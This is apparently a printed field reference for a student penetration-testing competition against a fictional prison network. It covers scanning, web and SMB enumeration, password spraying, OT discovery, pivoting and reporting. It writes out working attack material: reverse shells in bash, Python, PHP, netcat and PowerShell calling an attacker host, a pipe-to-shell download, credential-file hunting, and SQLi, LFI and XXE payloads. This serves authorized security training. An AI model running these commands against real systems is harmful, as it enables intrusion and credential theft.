MOX PRISON CO.

PENETRATION TEST FIELD REFERENCE

CPTC | PRINTED COPY ONLY | NOT FOR DIGITAL USE

SCOPE

192.168.50.0/24

Any private net reachable from in-scope host

OUT OF SCOPE

- OpenWRT router
- Cyberrange / RITSec Stack / competitor devices
- Social Engineering, DDoS, OSINT on staff/guards
- Any non-Mox Prison devices

TIMELINE

9:30 am	Kickoff meeting
9:45 am	**ACCESS STARTS**
12:00-12:45	Lunch break
~2:30 pm	Stop active exploitation
4:30 pm	**ACCESS ENDS**
4:30-4:40	Debrief meeting
4:40-6:00	CPTC Dinner
11:59 pm	**REPORT DUE**

! ~6.5 hrs active testing. Establish pivot and enumerate early. Shift to evidence collection at 2:30 pm.

! OT SYSTEMS: Document FIRST, no aggressive scripts, no brute force.

01 HOST DISCOVERY

Ping Sweep

```
nmap -sn 192.168.50.0/24 -oN hosts_alive.txt
grep 'report for' hosts_alive.txt | awk '{print $5}' > live_hosts.txt
```

Scan Rate by Zone

Zone	Timing	Max Rate	Notes
Visitor Net	`-T3`	`300 pps`	Lowest risk
Corporate Net	`-T2`	`150 pps`	Standard caution
OT Segment	`-T1`	**`20 pps`**	**Known ports only -- NO exploit scripts**
Monolithic Web	`-T2`	`50 req/s`	Watch for 500s -- back off if errors appear

Quick Scan -- All Hosts

```
nmap -T2 --max-rate 200 --top-ports 200 -iL live_hosts.txt -oN quick_scan.txt
```

Full Port Scan -- High-Value Targets Only (Background)

```
nmap -T2 --max-rate 100 -p- <target> -oN full_<target>.txt &
```

Service + Version Detection

```
nmap -T2 -sV -sC -p <ports> <target> -oN svc_<target>.txt
```

Ports of Interest

Port(s)	Service	Action
`80/443/8080/8443`	HTTP/S	Enumerate -- monolithic target priority
`22`	SSH	Pivot candidate -- try default creds
`3389`	RDP	Pivot candidate
`5985/5986`	WinRM	Pivot candidate
`445/139`	SMB	Lateral movement -- null session, relay, spray
`21`	FTP	Check anonymous login
`53`	DNS	Try zone transfer
`161/162`	SNMP	Community string sweep -- topology mapping
`1433/3306/5432`	MSSQL/MySQL/PG	Spray default creds
`502`	Modbus	OT -- modbus-discover, T1, 20 pps max
`102`	S7comm	OT -- Siemens PLC, s7-info only
`44818`	EtherNet/IP	OT -- Rockwell/Allen-Bradley, enip-info only
`20000/2404/4840`	DNP3/IEC/OPC	OT -- document only, no scripts

02 WEB ENUMERATION (MONOLITHIC SERVER)

! Monolithic = single codebase, no service isolation. RCE or auth bypass likely means full app compromise. Prioritize.

Fingerprint First -- Passive

```
whatweb http://<target>
curl -I http://<target>
curl -s http://<target> | grep -i 'generator\|powered\|version'
```

Directory Busting -- Rate Limited

```
feroxbuster -u http://<target> \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  --rate-limit 50 --threads 10 --timeout 10 -o ferox_<target>.txt

# Fallback
gobuster dir -u http://<target> \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 10 --delay 100ms
```

High-Value Paths

Path	Why
`/admin` `/administrator` `/manager`	Admin panels
`/api` `/api/v1` `/api/v2`	API surface -- often unauthed
`/swagger.json` `/openapi.yaml`	Full API endpoint list
`/dashboard` `/console` `/control`	Management interfaces
`/.env` `/web.config` `/.git/HEAD`	Config and source exposure
`/robots.txt` `/sitemap.xml`	Hidden path disclosure
`/phpinfo.php` `/server-status`	Info disclosure
`/backup` `/old` `/archive`	Backup files and old versions

Vulnerability Quick Tests

Type	Quick Test
SQLi	`' OR 1=1-- -` in login/search/URL params
Default Creds	`admin:admin` `admin:password` `root:root` `admin:1234` `admin:(blank)`
Auth Bypass	Navigate to /admin without login. Tamper or delete session cookie.
LFI	`?page=../../../../etc/passwd` `?file=../../../windows/win.ini`
IDOR	`/api/user/1` -- change to `/api/user/2` etc.
File Upload	Upload .php/.aspx if allowed. Bypass content-type check via Burp.
XXE	`<!DOCTYPE x [<!ENTITY x SYSTEM 'file:///etc/passwd'>]>&x;` in XML input

SQLMap from Burp Request

```
sqlmap -r request.txt --batch --level 3 --risk 2
sqlmap -r request.txt --batch --dbs
sqlmap -r request.txt --batch -D <db> --tables
sqlmap -r request.txt --batch -D <db> -T <table> --dump
```

```
sqlmap -r request.txt --batch --delay=D --time-sec=T (default is 5, higher to wait longer for
response, good with slower networks)
```

03 SMB ENUMERATION

Network-Wide Sweep

```
netexec smb 192.168.50.0/24
netexec smb 192.168.50.0/24 --gen-relay-list relay_targets.txt
```

Null / Guest Session

```
netexec smb <target> -u '' -p '' --shares
netexec smb <target> -u 'guest' -p '' --shares
smbclient -L \\\\<target>\\ -N
enum4linux-ng -A <target> | tee enum4linux_<target>.txt
```

Authenticated Enumeration

```
netexec smb <target> -u <user> -p <pass> --shares --users --groups
netexec smb <target> -u <user> -p <pass> -x 'whoami'
netexec smb <target> -u <user> -H <nthash> --shares      # pass the hash
smbclient \\\\<target>\\<share> -U <user>%<pass>
```

Password Spray

! Confirm lockout policy before spraying. One bad guess per user maximum.

```
enum4linux-ng -P <target>                                  # check policy
netexec smb 192.168.50.0/24 -u users.txt -p 'Password1' --continue-on-success
```

04 CREDENTIAL ATTACKS

Default Credentials

Username	Password	Target
admin	admin	Web panels, routers
admin	password	Generic
admin	(blank)	Routers, switches
root	root	Linux systems
guest	(blank)	Windows SMB
operator	operator	SCADA / HMI
engineer	engineer	OT / PLC panels
sa	(blank)	MSSQL

Web Login Brute Force

```
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt <target> \
  http-post-form '/login:user=^USER^&pass=^PASS^:Invalid credentials'
```

SSH / FTP

```
hydra -L users.txt -P passwords.txt ssh://<target>
netexec ssh 192.168.50.0/24 -u users.txt -p passwords.txt
netexec ftp 192.168.50.0/24 -u users.txt -p passwords.txt
```

05 OT / ICS ENUMERATION

! OT devices control physical infrastructure. Crashes are possible under normal scan rates.
! Stick to T1, 20 pps, known ports only. Stop immediately if the device behaves abnormally.

Safe OT Scan

```
nmap -T1 --max-rate 20 -p 502,102,44818,20000,2404,4840,47808 \
  --script modbus-discover,enip-info,s7-info <ot_target> -oN ot_<target>.txt
```

OT Protocol Reference

Protocol	Port	Nmap Script	Common Use
Modbus	`502 TCP/UDP`	`modbus-discover`	PLCs, sensors, actuators
S7comm	`102 TCP`	`s7-info`	Siemens PLCs
EtherNet/IP	`44818 TCP`	`enip-info`	Rockwell / Allen-Bradley
DNP3	`20000 TCP`	`dnp3-info`	Power / water SCADA
IEC 60870	`2404 TCP`	`iec-identify`	Power grid SCADA
OPC-UA	`4840 TCP`	`opcua-*`	Industrial middleware
BACnet	`47808 UDP`	`bacnet-info`	Building automation

Document for Every OT Device

Field	Capture
Vendor / Model	Screenshot, banner, or nmap output
Firmware / Version	From banner or script output
Open Ports	All responding ports
Auth State	No auth / default creds / properly secured
Physical Function	What does this device control in the prison?
Network Segment	Which subnet -- isolated or reachable?

SNMP -- Topology Mapping

```
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt
192.168.50.0/24
snmpwalk -c <community> -v2c <target>
snmpwalk -c <community> -v2c <target> 1.3.6.1.2.1.1    # system info
snmpwalk -c <community> -v2c <target> 1.3.6.1.2.1.4.34 # IP addresses
```

DNS Zone Transfer

```
dig axfr @<dns_server> <domain>
```

FTP Anonymous Login

```
nmap -T2 -p 21 --script ftp-anon -iL live_hosts.txt
ftp <target>     # user: anonymous   pass: (blank)
```

06 PIVOTING (VISITOR TO CORPORATE)

Ligolo-NG -- Preferred

```
# ATTACKER -- setup (once per session)
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601

# COMPROMISED HOST
./agent -connect <attacker_ip>:11601 -ignore-cert

# ATTACKER -- in Ligolo UI after agent connects
session        # select session
start          # start tunnel

# ATTACKER -- terminal
sudo ip route add <new_subnet>/24 dev ligolo
ping <host_in_new_subnet>    # verify
```

Ligolo-NG -- Reverse Port Forward

```
listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4444
```

Chisel -- Fallback

```
# ATTACKER
./chisel server -p 8080 --reverse

# COMPROMISED HOST
./chisel client <attacker_ip>:8080 R:socks

proxychains nmap -sT -T1 <target>    # use with SOCKS5 127.0.0.1:1080
```

SSH Port Forwarding

```
ssh -D 1080 -f -N user@<pivot>        # dynamic SOCKS proxy
ssh -L 8888:<internal_host>:80 user@<pivot>  # local port forward
ssh -R 4444:127.0.0.1:4444 user@<attacker>  # remote forward
```

After Pivot -- Re-run Enumeration on New Subnet

```
nmap -T2 --max-rate 100 -sn <new_subnet>/24 -oN new_hosts.txt
grep 'report for' new_hosts.txt | awk '{print $5}' > new_live.txt
nmap -T2 --max-rate 100 --top-ports 200 -iL new_live.txt -oN new_quick.txt
```

07 POST EXPLOITATION

Linux -- Situational Awareness

```
whoami && id && hostname && uname -a
ip a && ip route
cat /etc/passwd | grep -v nologin
sudo -l
find / -perm -4000 2>/dev/null             # SUID binaries
cat /etc/crontab && ls /etc/cron*
env && cat ~/.bash_history
find / -name '*.conf' -o -name '*.env' 2>/dev/null | head -20
find / -name 'id_rsa' 2>/dev/null
grep -r 'password\|DB_PASS\|SECRET' /var/www/ 2>/dev/null
```

Windows -- Situational Awareness

```
whoami /all
systeminfo
ipconfig /all && route print
net user && net localgroup administrators
net share && netstat -ano
cmdkey /list                               # stored credentials
findstr /si 'password' *.xml *.ini *.txt *.config
dir /s *pass* == *cred* == *.config*
type
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
```

Privilege Escalation

```
# Linux
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Windows
.\winPEASany.exe
```

File Transfer

```
python3 -m http.server 8000               # attacker -- serve files

wget http://<attacker>:8000/<file>         # Linux
curl http://<attacker>:8000/<file> -o <file>

certutil -urlcache -split -f http://<attacker>:8000/<file> <file>   # Windows
iwr http://<attacker>:8000/<file> -OutFile <file>
```

08 REVERSE SHELLS

Listener

```
rlwrap nc -lvnp 4444
```

Shells

```
# Bash
bash -i >& /dev/tcp/<attacker>/4444 0>&1

# Python3
python3 -c "import
socket,subprocess,os;s=socket.socket();s.connect(('<ip>',4444));os.dup2(s.fileno(),0);os.dup2(s.
fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh'])"

# PHP
php -r '$sock=fsockopen("<ip>",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Netcat (if -e available)
nc <attacker> 4444 -e /bin/bash

# PowerShell
powershell -nop -c "$c=New-Object
Net.Sockets.TCPClient('<ip>',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read(
$b,0,$b.Length)) -ne 0){$d=(New-Object System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d
2>&1|Out-String);$e=([text.encoding]::ASCII).GetBytes($r);$s.Write($e,0,$e.Length)}"
```

Upgrade to Interactive TTY

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
```

09 REPORTING CHECKLIST

! Stop exploitation at 2:30 pm. Collect evidence 2:30-4:30 pm. Report due 11:59 pm.

Capture for Every Finding

Item	Detail
Screenshot	Proof of vulnerability / successful exploit
Host / Port	IP address and port of the affected service
Command / Request	Exact input that triggered the finding
Response / Output	Full output or HTTP response received
Severity	Critical / High / Medium / Low / Info with justification
Business Impact	What does this mean for prison operations and safety?
Remediation	Specific, actionable fix recommendation

Priority Findings

Finding	Must Include
Visitor to Corporate Pivot	Full chain, each hop, proof at every stage

Finding	Must Include
Monolithic Web RCE	whoami output, hostname, file read proof
OT Device Exposure	Device ID, open ports, auth state, physical function
Credential Exposure	Where found, format, what they grant access to
Cleartext Protocols	Telnet / FTP / HTTP with captured credentials
Missing Segmentation	Evidence visitor net reaches corporate or OT

Report Structure

Section	Content
Executive Summary	Business impact, overall risk, top findings for leadership
Scope + Methodology	Networks tested, tools used, testing window
Findings	Sorted by severity, one page per finding, evidence attached
Attack Narrative	Step-by-step visitor to corporate pivot story
Recommendations	Prioritized, actionable, mapped to findings
Appendices	Raw scan output, full screenshots, tool output